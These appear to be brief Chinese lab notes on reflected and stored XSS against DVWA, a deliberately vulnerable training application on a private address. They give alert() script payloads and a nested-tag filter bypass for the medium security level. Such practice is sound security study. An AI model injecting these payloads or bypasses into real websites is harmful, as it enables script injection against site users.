DVWA
XSS reflected
测试目标网址:http://192.168.247.150/dvwa/vulnerabilities/xss_r/
low安全级别
直接输入
<script>alert("test")</script>
Medium安全级别
<sc<script>ript>alert("test")</script>
绕过
XSS stored
测试目标网址:http://192.168.247.150/dvwa/vulnerabilities/xss_s/
low安全级别
上传后,再次点击此页面
Medium安全级别
修改允许插入的长度
<sc<script>ript>alert("test")</script>
上传,成功